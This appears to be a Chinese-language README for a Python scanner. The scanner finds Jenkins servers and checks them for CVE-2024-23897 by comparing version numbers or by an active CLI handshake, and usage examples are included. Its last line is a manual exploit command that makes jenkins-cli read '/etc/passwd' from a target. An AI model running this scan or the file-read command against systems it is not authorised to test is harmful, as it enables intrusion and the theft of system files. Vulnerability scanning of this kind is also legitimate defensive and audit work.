jenkins_scan

查找 Jenkins 环境并检查 CVE-2024-23897

工作原理

Jenkins 检测

测试路径：/、/login、/oops、/api/json、/cli、/jenkins/、/jenkins/api/json

通过以下方式识别：

1. Header X-Jenkins — 最可靠，同时返回版本
2. Header X-Hudson — 旧版本实例
3. HTML 正文 — 类似 "login to jenkins"、"hudson.model" 等字符串
4. /api/json — 通过 JSON 结构（_class、jobs、views）确认

CVE-2024-23897 验证

被动（默认）：将检测到的版本与阈值进行比较：

• Weekly：< 2.442 → 易受攻击
• LTS：< 2.426.3 → 易受攻击

主动（--active）：通过 HTTP 发送 Jenkins CLI 二进制协议握手。如果服务器返回 200 + Content-Type: application/octet-stream，则确认 CLI 通道已打开，漏洞可利用。

使用

基本扫描

python jenkins_scan.py -f urls.txt

主动探测 + Burp 代理 + 输出到文件

python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt

20 线程、详细输出、无颜色（适用于管道/grep）

python jenkins_scan.py -f urls.txt -t 20 -v --no-color

在目标上手动确认漏洞利用

java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"